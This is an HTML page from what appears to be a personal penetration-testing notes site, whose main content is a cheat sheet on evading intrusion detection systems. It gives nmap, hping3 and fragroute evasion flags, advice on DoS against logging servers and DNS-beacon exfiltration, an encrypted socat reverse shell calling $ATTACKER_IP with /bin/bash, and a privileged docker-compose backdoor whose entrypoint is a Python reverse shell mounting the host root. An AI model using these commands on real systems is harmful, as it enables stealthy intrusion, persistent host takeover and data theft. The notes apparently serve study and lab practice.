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< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
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< div class = "column column-3" >
< ul >
< li > < a href = "#ids-ips-evation" > IDS & IPS Evation< / a > < ul >
< li > < a href = "#enumeration" > Enumeration< / a > < ul >
< li > < a href = "#nmap" > nmap< / a > < / li >
< li > < a href = "#nikto" > nikto< / a > < / li >
< / ul >
< / li >
< li > < a href = "#protocol-manipulation" > Protocol Manipulation< / a > < ul >
< li > < a href = "#relying-on-another-protocol" > Relying on another protocol< / a > < / li >
< li > < a href = "#manipulation-of-the-sources-or-lhosts-network-port" > Manipulation of the source's or LHOST's network port< / a > < / li >
< li > < a href = "#session-splicing-by-fragmentation-and-segmentation" > Session splicing by fragmentation and segmentation< / a > < / li >
< li > < a href = "#sending-invalid-packets" > Sending invalid packets< / a > < / li >
< / ul >
< / li >
< li > < a href = "#payload-manipulation" > Payload Manipulation< / a > < ul >
< li > < a href = "#obfuscation-and-encoding" > Obfuscation and Encoding< / a > < / li >
< li > < a href = "#encrypting-communication-channels" > Encrypting Communication Channels< / a > < / li >
< li > < a href = "#modification-of-data" > Modification of Data< / a > < / li >
< / ul >
< / li >
< li > < a href = "#route-manipulation" > Route Manipulation< / a > < ul >
< li > < a href = "#relying-on-source-routing" > Relying on Source Routing< / a > < / li >
< li > < a href = "#using-proxyy-servers" > Using Proxyy Servers< / a > < / li >
< / ul >
< / li >
< li > < a href = "#tactical-dos" > Tactical DoS< / a > < / li >
< li > < a href = "#misc" > MISC< / a > < / li >
< li > < a href = "#backdoors" > Backdoors< / a > < ul >
< li > < a href = "#docker" > Docker< / a > < / li >
< / ul >
< / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "ids-ips-evation" > IDS & IPS Evation< / h1 >
< ul >
< li > Evation by manipulation of < ul >
< li > Tool parameters< / li >
< li > Protocol< / li >
< li > Payload< / li >
< li > Route< / li >
< li > Or DoS< / li >
< / ul >
< / li >
< / ul >
< h2 id = "enumeration" > Enumeration< / h2 >
< ul >
< li > < a href = "https://developers.whatismybrowser.com/useragents/explore/" > User-Agents< / a > < / li >
< / ul >
< h3 id = "nmap" > nmap< / h3 >
< ul >
< li > < code > --script-args http.useragent="< user-agent> "< / code > < / li >
< li > < code > -Ss< / code > half open< / li >
< / ul >
< h3 id = "nikto" > nikto< / h3 >
< ul >
< li > < code > -useragent < user-agent> < / code > < / li >
< li > Tuning < code > -T 1 2 3< / code > < / li >
< li > < strong > NOT< / strong > < code > -evasion < encoding-technique> < / code > , it increases detection< / li >
< / ul >
< h2 id = "protocol-manipulation" > Protocol Manipulation< / h2 >
< h3 id = "relying-on-another-protocol" > Relying on another protocol< / h3 >
< ul >
< li > < code > nc -ulvnp 4711< / code > for listening to incoming UDP traffic< / li >
< li > < code > nc -u $TARGET_IP $TARGET_PORT< / code > for connecting through UDP< / li >
< / ul >
< h3 id = "manipulation-of-the-sources-or-lhosts-network-port" > Manipulation of the source's or LHOST's network port< / h3 >
< ul >
< li > < code > nmap -g 80< / code > or < code > nmap --source-port 53< / code > to send outgoing nmap traffic through it< / li >
< / ul >
< h3 id = "session-splicing-by-fragmentation-and-segmentation" > Session splicing by fragmentation and segmentation< / h3 >
< ul >
< li > < code > nmap< / code > fragmentation in 8 bytes < code > -f< / code > , 16 bytes < code > -ff< / code > , < code > --mtu < size> < / code > for MTU < / li >
< li > Use < a href = "https://www.monkey.org/~dugsong/fragroute/" > Fragroute< / a > with < code > ip_frag < num> < / code > in < code > fragroute.conf< / code > , then use < code > fragroute -f fragroute.conf $TARGET_IP< / code > < / li >
< / ul >
< h3 id = "sending-invalid-packets" > Sending invalid packets< / h3 >
< ul >
< li > Invalid protocol header flags and checksums via< code > nmap --badsum< / code > , < code > nmap --scanflags URG/ACK/PSH/RST/SYN/FIN< / code > , e.g. concatentation of multiple flags < code > nmap --scanflags SYNRSTFIN< / code > < / li >
< li > < code > hping3< / code > including < code > --ttl< / code > , < code > --badsum< / code > , header flags < code > -S< / code > ,< code > -A< / code > ,< code > -P< / code > ,< code > -U< / code > ,< code > -F< / code > ,< code > -R< / code > < / li >
< / ul >
< h2 id = "payload-manipulation" > Payload Manipulation< / h2 >
< h3 id = "obfuscation-and-encoding" > Obfuscation and Encoding< / h3 >
< ul >
< li > Base64 < / li >
< li > URL< / li >
< li > Escaped Unicode Characters< / li >
< / ul >
< h3 id = "encrypting-communication-channels" > Encrypting Communication Channels< / h3 >
< ul >
< li > Use socat with encryption < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > openssl req -x509 -newkey rsa:2048 -days < span class = "m" > 356< / span > -subj < span class = "s1" > ' /CN=www.example.com/O=YO/C=FR' < / span > -nodes -keyout id_rsa.key -out reverse.crt
< / code > < / pre > < / div >
< ul >
< li > Create < code > .pem< / code > (Privacy Enhanced Mail) file via< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > cat id_rsa.key reverse.crt > reverse.pem
< / code > < / pre > < / div >
< ul >
< li > Listening on attacker side< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > socat -d -d OPENSSL-LISTEN:4711,cert< span class = "o" > =< / span > reverse.pem,verify< span class = "o" > =< / span > < span class = "m" > 0< / span > ,fork STDOUT
< / code > < / pre > < / div >
< ul >
< li > On target < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > socat OPENSSL:< span class = "nv" > $ATTACKER_IP< / span > :4711,verify< span class = "o" > =< / span > < span class = "m" > 0< / span > EXEC:/bin/bash
< / code > < / pre > < / div >
< h3 id = "modification-of-data" > Modification of Data< / h3 >
< ul >
< li > Order of parameters, instead of < code > nc -lvnp< / code > it is < code > nc -vpnl< / code > < / li >
< li > Adding whitespaces to the commands< / li >
< li > Use aliases< / li >
< / ul >
< h2 id = "route-manipulation" > Route Manipulation< / h2 >
< h3 id = "relying-on-source-routing" > Relying on Source Routing< / h3 >
< ul >
< li > < code > nmap --ip-options "L 10.10.20.30 10.10.30.40< / code > routes through these IPs loosely< / li >
< li > < code > nmap --ip-options "S 10.10.20.30 10.10.30.40"< / code > routes through the IPs strictly< / li >
< / ul >
< h3 id = "using-proxyy-servers" > Using Proxyy Servers< / h3 >
< ul >
< li > < code > nmap -sS http://$PROXY1:80,socks4://$PROXY:8080 $TARGET_IP< / code > < / li >
< / ul >
< h2 id = "tactical-dos" > Tactical DoS< / h2 >
< ul >
< li > Non malicious, benign traffic against < ul >
< li > IDS/IPS< / li >
< li > Logging server< / li >
< / ul >
< / li >
< / ul >
< h2 id = "misc" > MISC< / h2 >
< ul >
< li > Changing < ul >
< li > < code > User-Agent< / code > < / li >
< li > Request frequency and duration of sleep < / li >
< li > SSL/TLS certs< / li >
< li > DNS beacon, storing exfiltrated data in the query< / li >
< / ul >
< / li >
< / ul >
< h2 id = "backdoors" > Backdoors< / h2 >
< ul >
< li > Backdooring without getting recognized by the IDS/IPS by reading its rules in the config file< / li >
< / ul >
< h3 id = "docker" > Docker< / h3 >
< ul >
< li > Create a < code > docker-compose.yaml< / code > file with a reverse shell as an entry point, mount the host volume to < code > /mnt< / code > inside the container< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nn" > ---< / span > < span class = "w" > < / span >
< span class = "nt" > version< / span > < span class = "p" > :< / span > < span class = "w" > < / span > < span class = "s" > " 2.1" < / span > < span class = "w" > < / span >
< span class = "nt" > services< / span > < span class = "p" > :< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "nt" > backdoorservice< / span > < span class = "p" > :< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "nt" > restart< / span > < span class = "p" > :< / span > < span class = "w" > < / span > < span class = "l l-Scalar l-Scalar-Plain" > always< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "nt" > image< / span > < span class = "p" > :< / span > < span class = "w" > < / span > < span class = "l l-Scalar l-Scalar-Plain" > < Found image> < / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "nt" > entrypoint< / span > < span class = "p" > :< / span > < span class = "w" > < / span > < span class = "p p-Indicator" > > < / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "no" > python -c ' import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "no" > s.connect((" < $ATTACKER_IP> " ,4711));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "no" > pty.spawn(" /bin/sh" )' < / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "nt" > volumes< / span > < span class = "p" > :< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "p p-Indicator" > -< / span > < span class = "w" > < / span > < span class = "l l-Scalar l-Scalar-Plain" > /:/mnt< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "nt" > privileged< / span > < span class = "p" > :< / span > < span class = "w" > < / span > < span class = "l l-Scalar l-Scalar-Plain" > true< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
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function linkClick(obj) {
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if (obj.open) {
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//console.log('open');
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if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
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sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
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} else {
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//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
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let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
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< / script >
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< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
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< script type = "text/x-mathjax-config" >
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MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
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< / body >
< / html >
